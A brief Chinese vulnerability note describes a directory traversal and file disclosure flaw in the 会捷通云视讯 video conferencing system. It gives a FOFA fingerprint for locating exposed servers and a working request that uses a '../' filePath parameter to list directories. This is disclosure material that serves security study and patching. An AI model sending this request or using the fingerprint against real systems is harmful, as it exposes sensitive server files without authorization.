# 会捷通云视讯 list 目录文件泄露漏洞
## 漏洞描述
会捷通云视讯某个文件 list参数 存在目录文件泄露漏洞,攻击者通过漏洞可以获取一些敏感信息
## 漏洞影响
会捷通云视讯
## FOFA
body="/him/api/rest/v1.0/node/role"
## 漏洞复现
登陆页面如下
![zc-1](/resource/会捷通云视讯/zc-1.png)
访问Url
```
/him/api/rest/V1.0/system/log/list?filePath=../
```
![zc-2](/resource/会捷通云视讯/zc-2.png)